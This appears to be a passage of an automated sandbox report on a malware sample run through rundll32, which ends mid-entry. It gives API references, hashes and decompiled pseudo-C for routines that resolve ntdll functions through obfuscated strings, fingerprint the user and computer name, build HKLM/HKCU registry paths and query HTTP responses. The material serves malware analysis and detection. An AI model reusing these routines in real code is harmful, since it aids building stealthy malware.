                    0x02c93fb5
                    0x02c93fb8
                    0x02c93fbc
                    0x02c93fc2
                    0x02c93fc7
                    0x02c93fe0
                    0x02c93ff4
                    0x02c93ffb
                    0x02c94002
                    0x02c94055
                    0x02c9405b
                    0x02c94061
                    0x02c9409c
                    0x02c940a2
                    0x00000000
                    0x00000000
                    0x00000000
                    0x02c94061
                    0x02c94008
                    0x00000000
                    0x02c9400f
                    0x02c9401d
                    0x02c94020
                    0x02c94023
                    0x02c9402f
                    0x02c94033
                    0x02c94095
                    0x02c94035
                    0x02c94047
                    0x02c94085
                    0x02c94090
                    0x02c94049
                    0x02c9404c
                    0x02c94050
                    0x02c94050
                    0x02c94047
                    0x00000000
                    0x02c94033
                    0x02c94008
                    0x02c93fcc
                    0x02c93fd2
                    0x02c93fd5
                    0x02c93fda
                    0x00000000
                    0x00000000
                    0x00000000
                    0x02c9406a
                    0x02c94072
                    0x02c94077
                    0x02c9407a
                    0x00000000

                    APIs
                    • WaitForSingleObject.KERNEL32(?,00000000,00000000,00000102,?,74CF81D0,00000000,00000000), ref: 02C93FBC
                    • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,02C93F34,00000000,?), ref: 02C93FCC
                    • HttpQueryInfoA.WININET(?,20000013,?,?), ref: 02C93FFE
                    • HttpQueryInfoA.WININET(?,00000016,00000000,00000004,?), ref: 02C94023
                    • HttpQueryInfoA.WININET(?,00000016,00000000,00000004,?), ref: 02C94043
                    • GetLastError.KERNEL32 ref: 02C94055
                      • Part of subcall function 02C916B2: WaitForMultipleObjects.KERNEL32(00000002,02C97C47,00000000,02C97C47,?,?,?,02C97C47,0000EA60), ref: 02C916CD
                      • Part of subcall function 02C961DA: RtlFreeHeap.NTDLL(00000000,00000000,02C96383,00000000,?,00000000,00000000), ref: 02C961E6
                    • GetLastError.KERNEL32(00000000), ref: 02C9408A
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: HttpInfoQuery$ErrorLastWait$EventFreeHeapMultipleObjectObjectsSingle
                    • String ID:
                    • API String ID: 3369646462-0
                    • Opcode ID: f838fee0222ac3ed064be26ce172158b08c1b27f9c5fa0dd6fef972abef7a109
                    • Instruction ID: 83b49eea3d5a76ff464229c89664aa354b7aeb44270188b8df2e538eb79aab20
                    • Opcode Fuzzy Hash: f838fee0222ac3ed064be26ce172158b08c1b27f9c5fa0dd6fef972abef7a109
                    • Instruction Fuzzy Hash: A4311CB5D00309EFDF30DFA5C888A9EBBB8FB48304F10596AE502A2240D771AB45DF91
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C93A63 Relevance: 9.1, APIs: 6, Instructions: 126memoryCOMMON
                    Download Yara Rule
                    APIs
                    • SysAllocString.OLEAUT32(00000000), ref: 02C93ABD
                    • SysAllocString.OLEAUT32(0070006F), ref: 02C93AD1
                    • SysAllocString.OLEAUT32(00000000), ref: 02C93AE3
                    • SysFreeString.OLEAUT32(00000000), ref: 02C93B4B
                    • SysFreeString.OLEAUT32(00000000), ref: 02C93B5A
                    • SysFreeString.OLEAUT32(00000000), ref: 02C93B65
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: String$AllocFree
                    • String ID:
                    • API String ID: 344208780-0
                    • Opcode ID: 323c7a3f0f7940984a1b7db3e22c80ca4302f69be97b191747018e8493ebe63d
                    • Instruction ID: 6d48a6e0841cff140b5284c50f6a8a69946d4c39f31ef8379ffc1c9260ae71b2
                    • Opcode Fuzzy Hash: 323c7a3f0f7940984a1b7db3e22c80ca4302f69be97b191747018e8493ebe63d
                    • Instruction Fuzzy Hash: 1E415E36D00609ABDF01EFB8D848A9EB7BAEF89314F144466E911EB160DB71DA05CB91
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C96BF9 Relevance: 9.1, APIs: 6, Instructions: 81libraryloaderCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E02C96BF9(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _t23;
				intOrPtr _t26;
				_Unknown_base(*)()* _t28;
				intOrPtr _t30;
				_Unknown_base(*)()* _t32;
				intOrPtr _t33;
				_Unknown_base(*)()* _t35;
				intOrPtr _t36;
				_Unknown_base(*)()* _t38;
				intOrPtr _t39;
				_Unknown_base(*)()* _t41;
				intOrPtr _t44;
				struct HINSTANCE__* _t48;
				intOrPtr _t54;

				_t54 = E02C933DC(0x20);
				if(_t54 == 0) {
					_v8 = 8;
				} else {
					_t23 =  *0x2c9a348; // 0x278d5a8
					_t1 = _t23 + 0x2c9b436; // 0x4c44544e
					_t48 = GetModuleHandleA(_t1);
					_t26 =  *0x2c9a348; // 0x278d5a8
					_t2 = _t26 + 0x2c9b85c; // 0x7243775a
					_v8 = 0x7f;
					_t28 = GetProcAddress(_t48, _t2);
					 *(_t54 + 0xc) = _t28;
					if(_t28 == 0) {
						L8:
						E02C961DA(_t54);
					} else {
						_t30 =  *0x2c9a348; // 0x278d5a8
						_t5 = _t30 + 0x2c9b849; // 0x614d775a
						_t32 = GetProcAddress(_t48, _t5);
						 *(_t54 + 0x10) = _t32;
						if(_t32 == 0) {
							goto L8;
						} else {
							_t33 =  *0x2c9a348; // 0x278d5a8
							_t7 = _t33 + 0x2c9b72b; // 0x6e55775a
							_t35 = GetProcAddress(_t48, _t7);
							 *(_t54 + 0x14) = _t35;
							if(_t35 == 0) {
								goto L8;
							} else {
								_t36 =  *0x2c9a348; // 0x278d5a8
								_t9 = _t36 + 0x2c9b883; // 0x4e6c7452
								_t38 = GetProcAddress(_t48, _t9);
								 *(_t54 + 0x18) = _t38;
								if(_t38 == 0) {
									goto L8;
								} else {
									_t39 =  *0x2c9a348; // 0x278d5a8
									_t11 = _t39 + 0x2c9b87b; // 0x6c43775a
									_t41 = GetProcAddress(_t48, _t11);
									 *(_t54 + 0x1c) = _t41;
									if(_t41 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t54 + 4)) = _a4;
										 *((intOrPtr*)(_t54 + 8)) = 0x40;
										_t44 = E02C97A08(_t54, _a8);
										_v8 = _t44;
										if(_t44 != 0) {
											goto L8;
										} else {
											 *_a12 = _t54;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}


















                    0x02c96c08
                    0x02c96c0c
                    0x02c96cce
                    0x02c96c12
                    0x02c96c12
                    0x02c96c17
                    0x02c96c2a
                    0x02c96c2c
                    0x02c96c31
                    0x02c96c39
                    0x02c96c40
                    0x02c96c42
                    0x02c96c47
                    0x02c96cc6
                    0x02c96cc7
                    0x02c96c49
                    0x02c96c49
                    0x02c96c4e
                    0x02c96c56
                    0x02c96c58
                    0x02c96c5d
                    0x00000000
                    0x02c96c5f
                    0x02c96c5f
                    0x02c96c64
                    0x02c96c6c
                    0x02c96c6e
                    0x02c96c73
                    0x00000000
                    0x02c96c75
                    0x02c96c75
                    0x02c96c7a
                    0x02c96c82
                    0x02c96c84
                    0x02c96c89
                    0x00000000
                    0x02c96c8b
                    0x02c96c8b
                    0x02c96c90
                    0x02c96c98
                    0x02c96c9a
                    0x02c96c9f
                    0x00000000
                    0x02c96ca1
                    0x02c96ca7
                    0x02c96cac
                    0x02c96cb3
                    0x02c96cb8
                    0x02c96cbd
                    0x00000000
                    0x02c96cbf
                    0x02c96cc2
                    0x02c96cc2
                    0x02c96cbd
                    0x02c96c9f
                    0x02c96c89
                    0x02c96c73
                    0x02c96c5d
                    0x02c96c47
                    0x02c96cdc

                    APIs
                      • Part of subcall function 02C933DC: RtlAllocateHeap.NTDLL(00000000,00000000,02C962F6), ref: 02C933E8
                    • GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,02C937FB,?,?,?,?,00000000,00000000), ref: 02C96C1E
                    • GetProcAddress.KERNEL32(00000000,7243775A), ref: 02C96C40
                    • GetProcAddress.KERNEL32(00000000,614D775A), ref: 02C96C56
                    • GetProcAddress.KERNEL32(00000000,6E55775A), ref: 02C96C6C
                    • GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 02C96C82
                    • GetProcAddress.KERNEL32(00000000,6C43775A), ref: 02C96C98
                      • Part of subcall function 02C97A08: memset.NTDLL ref: 02C97A87
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: AddressProc$AllocateHandleHeapModulememset
                    • String ID:
                    • API String ID: 1886625739-0
                    • Opcode ID: cb0c8fb51564812e4ef07a7892cb3dd4c1ec85ca5b618c559410e42104c28c96
                    • Instruction ID: b652091c7c29498f8ec532f2bf5e01ae4af40737d09e85fe2535c85049faf8ae
                    • Opcode Fuzzy Hash: cb0c8fb51564812e4ef07a7892cb3dd4c1ec85ca5b618c559410e42104c28c96
                    • Instruction Fuzzy Hash: DC2141B0500B0AAFDB10DF6ADA4CE5AB7ECEF547487114915F505C7251E774EA08CF60
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C94C94 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 167stringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 88%
                    			E02C94C94(void* __ecx, char* _a8, char _a16, intOrPtr* _a20, char _a24) {
				signed int _v8;
				char _v12;
				signed int* _v16;
				char _v284;
				void* __esi;
				char* _t59;
				intOrPtr* _t60;
				intOrPtr _t64;
				char _t65;
				intOrPtr _t68;
				intOrPtr _t69;
				intOrPtr _t71;
				void* _t73;
				signed int _t81;
				void* _t91;
				void* _t92;
				char _t98;
				signed int* _t100;
				intOrPtr* _t101;
				void* _t102;

				_t92 = __ecx;
				_v8 = _v8 & 0x00000000;
				_t98 = _a16;
				if(_t98 == 0) {
					__imp__( &_v284,  *0x2c9a3dc);
					_t91 = 0x80000002;
					L6:
					_t59 = E02C96536( &_v284,  &_v284);
					_a8 = _t59;
					if(_t59 == 0) {
						_v8 = 8;
						L29:
						_t60 = _a20;
						if(_t60 != 0) {
							 *_t60 =  *_t60 + 1;
						}
						return _v8;
					}
					_t101 = _a24;
					if(E02C9313F(_t92, _t97, _t101, _t91, _t59) != 0) {
						L27:
						E02C961DA(_a8);
						goto L29;
					}
					_t64 =  *0x2c9a318; // 0x5429dd8
					_t16 = _t64 + 0xc; // 0x5429efa
					_t65 = E02C96536(_t64,  *_t16);
					_a24 = _t65;
					if(_t65 == 0) {
						L14:
						_t29 = _t101 + 0x14; // 0x102
						_t33 = _t101 + 0x10; // 0x3d02c990
						if(E02C97767(_t97,  *_t33, _t91, _a8,  *0x2c9a3d4,  *((intOrPtr*)( *_t29 + 0x28)),  *((intOrPtr*)( *_t29 + 0x2c))) == 0) {
							_t68 =  *0x2c9a348; // 0x278d5a8
							if(_t98 == 0) {
								_t35 = _t68 + 0x2c9bb5a; // 0x4d4c4b48
								_t69 = _t35;
							} else {
								_t34 = _t68 + 0x2c9bbac; // 0x55434b48
								_t69 = _t34;
							}
							if(E02C97238(_t69,  *0x2c9a3d4,  *0x2c9a3d8,  &_a24,  &_a16) == 0) {
								if(_t98 == 0) {
									_t71 =  *0x2c9a348; // 0x278d5a8
									_t44 = _t71 + 0x2c9b332; // 0x74666f53
									_t73 = E02C96536(_t44, _t44);
									_t99 = _t73;
									if(_t73 == 0) {
										_v8 = 8;
									} else {
										_t47 = _t101 + 0x10; // 0x3d02c990
										E02C95B0E( *_t47, _t91, _a8,  *0x2c9a3d8, _a24);
										_t49 = _t101 + 0x10; // 0x3d02c990
										E02C95B0E( *_t49, _t91, _t99,  *0x2c9a3d0, _a16);
										E02C961DA(_t99);
									}
								} else {
									_t40 = _t101 + 0x10; // 0x3d02c990
									E02C95B0E( *_t40, _t91, _a8,  *0x2c9a3d8, _a24);
									_t43 = _t101 + 0x10; // 0x3d02c990
									E02C95B0E( *_t43, _t91, _a8,  *0x2c9a3d0, _a16);
								}
								if( *_t101 != 0) {
									E02C961DA(_a24);
								} else {
									 *_t101 = _a16;
								}
							}
						}
						goto L27;
					}
					_t21 = _t101 + 0x10; // 0x3d02c990
					_t81 = E02C958BD( *_t21, _t91, _a8, _t65,  &_v16,  &_v12);
					if(_t81 == 0) {
						_t100 = _v16;
						if(_v12 == 0x28) {
							 *_t100 =  *_t100 & _t81;
							_t26 = _t101 + 0x10; // 0x3d02c990
							E02C97767(_t97,  *_t26, _t91, _a8, _a24, _t100, 0x28);
						}
						E02C961DA(_t100);
						_t98 = _a16;
					}
					E02C961DA(_a24);
					goto L14;
				}
				if(_t98 <= 8 || _t98 + 0x2a >= 0x104 || StrChrA(_a8, 0x5f) != 0) {
					goto L29;
				} else {
					_t97 = _a8;
					E02C97AB0(_t98, _a8,  &_v284);
					__imp__(_t102 + _t98 - 0x117,  *0x2c9a3dc);
					 *((char*)(_t102 + _t98 - 0x118)) = 0x5c;
					_t91 = 0x80000003;
					goto L6;
				}
			}























                    0x02c94c94
                    0x02c94c9d
                    0x02c94ca4
                    0x02c94ca9
                    0x02c94d16
                    0x02c94d1c
                    0x02c94d21
                    0x02c94d28
                    0x02c94d2d
                    0x02c94d32
                    0x02c94e9d
                    0x02c94ea4
                    0x02c94ea4
                    0x02c94ea9
                    0x02c94eab
                    0x02c94eab
                    0x02c94eb4
                    0x02c94eb4
                    0x02c94d38
                    0x02c94d44
                    0x02c94e93
                    0x02c94e96
                    0x00000000
                    0x02c94e96
                    0x02c94d4a
                    0x02c94d4f
                    0x02c94d52
                    0x02c94d57
                    0x02c94d5c
                    0x02c94da5
                    0x02c94da5
                    0x02c94db8
                    0x02c94dc2
                    0x02c94dc8
                    0x02c94dcf
                    0x02c94dd9
                    0x02c94dd9
                    0x02c94dd1
                    0x02c94dd1
                    0x02c94dd1
                    0x02c94dd1
                    0x02c94dfb
                    0x02c94e03
                    0x02c94e31
                    0x02c94e36
                    0x02c94e3d
                    0x02c94e42
                    0x02c94e46
                    0x02c94e78
                    0x02c94e48
                    0x02c94e55
                    0x02c94e58
                    0x02c94e68
                    0x02c94e6b
                    0x02c94e71
                    0x02c94e71
                    0x02c94e05
                    0x02c94e12
                    0x02c94e15
                    0x02c94e27
                    0x02c94e2a
                    0x02c94e2a
                    0x02c94e82
                    0x02c94e8e
                    0x02c94e84
                    0x02c94e87
                    0x02c94e87
                    0x02c94e82
                    0x02c94dfb
                    0x00000000
                    0x02c94dc2
                    0x02c94d6b
                    0x02c94d6e
                    0x02c94d75
                    0x02c94d7b
                    0x02c94d7e
                    0x02c94d80
                    0x02c94d8c
                    0x02c94d8f
                    0x02c94d8f
                    0x02c94d95
                    0x02c94d9a
                    0x02c94d9a
                    0x02c94da0
                    0x00000000
                    0x02c94da0
                    0x02c94cae
                    0x00000000
                    0x02c94cd5
                    0x02c94cd5
                    0x02c94ce1
                    0x02c94cf4
                    0x02c94cfa
                    0x02c94d02
                    0x00000000
                    0x02c94d02

                    APIs
                    • StrChrA.SHLWAPI(02C96A76,0000005F,00000000,00000000,00000104), ref: 02C94CC7
                    • lstrcpy.KERNEL32(?,?), ref: 02C94CF4
                      • Part of subcall function 02C96536: lstrlen.KERNEL32(?,00000000,05429DD8,00000000,02C96F0A,05429FFB,43175AC3,?,?,?,?,43175AC3,00000005,02C9A00C,4D283A53,?), ref: 02C9653D
                      • Part of subcall function 02C96536: mbstowcs.NTDLL ref: 02C96566
                      • Part of subcall function 02C96536: memset.NTDLL ref: 02C96578
                      • Part of subcall function 02C95B0E: lstrlenW.KERNEL32(?,?,?,02C94E5D,3D02C990,80000002,02C96A76,02C957D1,74666F53,4D4C4B48,02C957D1,?,3D02C990,80000002,02C96A76,?), ref: 02C95B33
                      • Part of subcall function 02C961DA: RtlFreeHeap.NTDLL(00000000,00000000,02C96383,00000000,?,00000000,00000000), ref: 02C961E6
                    • lstrcpy.KERNEL32(?,00000000), ref: 02C94D16
                    Strings
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: lstrcpylstrlen$FreeHeapmbstowcsmemset
                    • String ID: ($\
                    • API String ID: 3924217599-1512714803
                    • Opcode ID: 7852b1bbc82585150a080eba083af4563ec585db121e0e990e29f74b915d5a48
                    • Instruction ID: f3b1f72ae70204904674bdc00e96f194d0ad3a3ae69308f942721f9f0a4ae56f
                    • Opcode Fuzzy Hash: 7852b1bbc82585150a080eba083af4563ec585db121e0e990e29f74b915d5a48
                    • Instruction Fuzzy Hash: DF516976500209EFDF269F60DD48EAA77BEFF48744F108A18FA1596160D731DA26EF10
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C97040 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 145stringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 22%
                    			E02C97040(signed int __eax, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				signed int _v20;
				intOrPtr _t81;
				char _t83;
				signed int _t90;
				signed int _t97;
				signed int _t99;
				char _t101;
				unsigned int _t102;
				intOrPtr _t103;
				char* _t107;
				signed int _t110;
				signed int _t113;
				signed int _t118;
				signed int _t122;
				intOrPtr _t124;

				_t102 = _a8;
				_t118 = 0;
				_v20 = __eax;
				_t122 = (_t102 >> 2) + 1;
				_v8 = 0;
				_a8 = 0;
				_t81 = E02C933DC(_t122 << 2);
				_v16 = _t81;
				if(_t81 == 0) {
					_push(8);
					_pop(0);
					L37:
					return 0;
				}
				_t107 = _a4;
				_a4 = _t102;
				_t113 = 0;
				while(1) {
					_t83 =  *_t107;
					if(_t83 == 0) {
						break;
					}
					if(_t83 == 0xd || _t83 == 0xa) {
						if(_t118 != 0) {
							if(_t118 > _v8) {
								_v8 = _t118;
							}
							_a8 = _a8 + 1;
							_t118 = 0;
						}
						 *_t107 = 0;
						goto L16;
					} else {
						if(_t118 != 0) {
							L10:
							_t118 = _t118 + 1;
							L16:
							_t107 = _t107 + 1;
							_t15 =  &_a4;
							 *_t15 = _a4 - 1;
							if( *_t15 != 0) {
								continue;
							}
							break;
						}
						if(_t113 == _t122) {
							L21:
							if(_a8 <= 0x20) {
								_push(0xb);
								L34:
								_pop(0);
								L35:
								E02C961DA(_v16);
								goto L37;
							}
							_t24 = _v8 + 5; // 0xcdd8d2f8
							_t103 = E02C933DC((_v8 + _t24) * _a8 + 4);
							if(_t103 == 0) {
								_push(8);
								goto L34;
							}
							_t90 = _a8;
							_a4 = _a4 & 0x00000000;
							_v8 = _v8 & 0x00000000;
							_t124 = _t103 + _t90 * 4;
							if(_t90 <= 0) {
								L31:
								 *0x2c9a318 = _t103;
								goto L35;
							}
							do {
								_t110 = 0x3c6ef35f + _v20 * 0x19660d;
								_v20 = 0x3c6ef35f + _t110 * 0x19660d;
								__imp__(_t124,  *((intOrPtr*)(_v16 + _t110 % _a8 * 4)));
								__imp__(_t124,  *((intOrPtr*)(_v16 + _v20 % _a8 * 4)));
								_v12 = _v12 & 0x00000000;
								if(_a4 <= 0) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t99 = _v12;
									__imp__( *((intOrPtr*)(_t103 + _t99 * 4)), _t124);
									if(_t99 == 0) {
										break;
									}
									_v12 = _v12 + 1;
									if(_v12 < _a4) {
										continue;
									}
									goto L30;
								}
								_v8 = _v8 - 1;
								L30:
								_t97 = _a4;
								_a4 = _a4 + 1;
								 *((intOrPtr*)(_t103 + _t97 * 4)) = _t124;
								__imp__(_t124);
								_v8 = _v8 + 1;
								_t124 = _t124 + _t97 + 1;
							} while (_v8 < _a8);
							goto L31;
						}
						 *((intOrPtr*)(_v16 + _t113 * 4)) = _t107;
						_t101 = _t83;
						if(_t83 - 0x61 <= 0x19) {
							_t101 = _t101 - 0x20;
						}
						 *_t107 = _t101;
						_t113 = _t113 + 1;
						goto L10;
					}
				}
				if(_t118 != 0) {
					if(_t118 > _v8) {
						_v8 = _t118;
					}
					_a8 = _a8 + 1;
				}
				goto L21;
			}





















                    0x02c97047
                    0x02c9704e
                    0x02c97053
                    0x02c97056
                    0x02c9705d
                    0x02c97060
                    0x02c97063
                    0x02c97068
                    0x02c9706d
                    0x02c971c1
                    0x02c971c3
                    0x02c971c5
                    0x02c971ca
                    0x02c971ca
                    0x02c97073
                    0x02c97076
                    0x02c97079
                    0x02c9707b
                    0x02c9707b
                    0x02c9707f
                    0x00000000
                    0x00000000
                    0x02c97083
                    0x02c970af
                    0x02c970b4
                    0x02c970b6
                    0x02c970b6
                    0x02c970b9
                    0x02c970bc
                    0x02c970bc
                    0x02c970be
                    0x00000000
                    0x02c97089
                    0x02c9708b
                    0x02c970aa
                    0x02c970aa
                    0x02c970c1
                    0x02c970c1
                    0x02c970c2
                    0x02c970c2
                    0x02c970c5
                    0x00000000
                    0x00000000
                    0x00000000
                    0x02c970c5
                    0x02c9708f
                    0x02c970d6
                    0x02c970da
                    0x02c971b4
                    0x02c971b6
                    0x02c971b6
                    0x02c971b7
                    0x02c971ba
                    0x00000000
                    0x02c971ba
                    0x02c970e3
                    0x02c970f4
                    0x02c970f8
                    0x02c971b0
                    0x00000000
                    0x02c971b0
                    0x02c970fe
                    0x02c97101
                    0x02c97105
                    0x02c97109
                    0x02c9710e
                    0x02c971a6
                    0x02c971a6
                    0x00000000
                    0x02c971ac
                    0x02c97119
                    0x02c97122
                    0x02c97136
                    0x02c9713d
                    0x02c97152
                    0x02c97158
                    0x02c97160
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00000000
                    0x02c97162
                    0x02c97162
                    0x02c97162
                    0x02c97169
                    0x02c97171
                    0x00000000
                    0x00000000
                    0x02c97173
                    0x02c9717c
                    0x00000000
                    0x00000000
                    0x00000000
                    0x02c9717e
                    0x02c97180
                    0x02c97183
                    0x02c97183
                    0x02c97186
                    0x02c9718a
                    0x02c9718d
                    0x02c97193
                    0x02c97196
                    0x02c9719d
                    0x00000000
                    0x02c97119
                    0x02c97094
                    0x02c9709c
                    0x02c970a2
                    0x02c970a4
                    0x02c970a4
                    0x02c970a7
                    0x02c970a9
                    0x00000000
                    0x02c970a9
                    0x02c97083
                    0x02c970c9
                    0x02c970ce
                    0x02c970d0
                    0x02c970d0
                    0x02c970d3
                    0x02c970d3
                    0x00000000

                    APIs
                      • Part of subcall function 02C933DC: RtlAllocateHeap.NTDLL(00000000,00000000,02C962F6), ref: 02C933E8
                    • lstrcpy.KERNEL32(43175AC4,00000020), ref: 02C9713D
                    • lstrcat.KERNEL32(43175AC4,00000020), ref: 02C97152
                    • lstrcmp.KERNEL32(00000000,43175AC4), ref: 02C97169
                    • lstrlen.KERNEL32(43175AC4), ref: 02C9718D
                    Strings
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: AllocateHeaplstrcatlstrcmplstrcpylstrlen
                    • String ID:
                    • API String ID: 3214092121-3916222277
                    • Opcode ID: ce0b899a388b9cd78ce56500b23aee2ec66398876123f66c7331feb41972d1c8
                    • Instruction ID: 759e1a4d90e968397c5cf7e87d9a80e4f3b0c3e8be1fa72628190c071ea49bcb
                    • Opcode Fuzzy Hash: ce0b899a388b9cd78ce56500b23aee2ec66398876123f66c7331feb41972d1c8
                    • Instruction Fuzzy Hash: 0151C0B1A11208EBDF21CF99C8887ADFBB6FF85314F14805AE8199B215C7709B15CF90
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C91340 Relevance: 7.6, APIs: 5, Instructions: 83COMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E02C91340() {
				long _v8;
				long _v12;
				int _v16;
				long _t39;
				long _t43;
				signed int _t47;
				short _t51;
				signed int _t52;
				int _t56;
				int _t57;
				char* _t64;
				short* _t67;

				_v16 = 0;
				_v8 = 0;
				GetUserNameW(0,  &_v8);
				_t39 = _v8;
				if(_t39 != 0) {
					_v12 = _t39;
					_v8 = 0;
					GetComputerNameW(0,  &_v8);
					_t43 = _v8;
					if(_t43 != 0) {
						_t11 = _t43 + 2; // 0x7491c742
						_v12 = _v12 + _t11;
						_t64 = E02C933DC(_v12 + _t11 << 2);
						if(_t64 != 0) {
							_t47 = _v12;
							_t67 = _t64 + _t47 * 2;
							_v8 = _t47;
							if(GetUserNameW(_t67,  &_v8) == 0) {
								L7:
								E02C961DA(_t64);
							} else {
								_t51 = 0x40;
								 *((short*)(_t67 + _v8 * 2 - 2)) = _t51;
								_t52 = _v8;
								_v12 = _v12 - _t52;
								if(GetComputerNameW( &(_t67[_t52]),  &_v12) == 0) {
									goto L7;
								} else {
									_t56 = _v12 + _v8;
									_t31 = _t56 + 2; // 0x2c93e01
									_v12 = _t56;
									_t57 = WideCharToMultiByte(0xfde9, 0, _t67, _t56, _t64, _t56 + _t31, 0, 0);
									_v8 = _t57;
									if(_t57 == 0) {
										goto L7;
									} else {
										_t64[_t57] = 0;
										_v16 = _t64;
									}
								}
							}
						}
					}
				}
				return _v16;
			}















                    0x02c9134e
                    0x02c91351
                    0x02c91354
                    0x02c9135a
                    0x02c9135f
                    0x02c91365
                    0x02c9136d
                    0x02c91370
                    0x02c91376
                    0x02c9137b
                    0x02c91384
                    0x02c91388
                    0x02c91395
                    0x02c91399
                    0x02c9139b
                    0x02c9139f
                    0x02c913a2
                    0x02c913b2
                    0x02c91405
                    0x02c91406
                    0x02c913b4
                    0x02c913b9
                    0x02c913ba
                    0x02c913bf
                    0x02c913c2
                    0x02c913d5
                    0x00000000
                    0x02c913d7
                    0x02c913da
                    0x02c913df
                    0x02c913ed
                    0x02c913f0
                    0x02c913f6
                    0x02c913fb
                    0x00000000
                    0x02c913fd
                    0x02c913fd
                    0x02c91400
                    0x02c91400
                    0x02c913fb
                    0x02c913d5
                    0x02c9140b
                    0x02c9140c
                    0x02c9137b
                    0x02c91412

                    APIs
                    • GetUserNameW.ADVAPI32(00000000,02C93DFF), ref: 02C91354
                    • GetComputerNameW.KERNEL32(00000000,02C93DFF), ref: 02C91370
                      • Part of subcall function 02C933DC: RtlAllocateHeap.NTDLL(00000000,00000000,02C962F6), ref: 02C933E8
                    • GetUserNameW.ADVAPI32(00000000,02C93DFF), ref: 02C913AA
                    • GetComputerNameW.KERNEL32(02C93DFF,7491C740), ref: 02C913CD
                    • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,02C93DFF,00000000,02C93E01,00000000,00000000,?,7491C740,02C93DFF), ref: 02C913F0
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
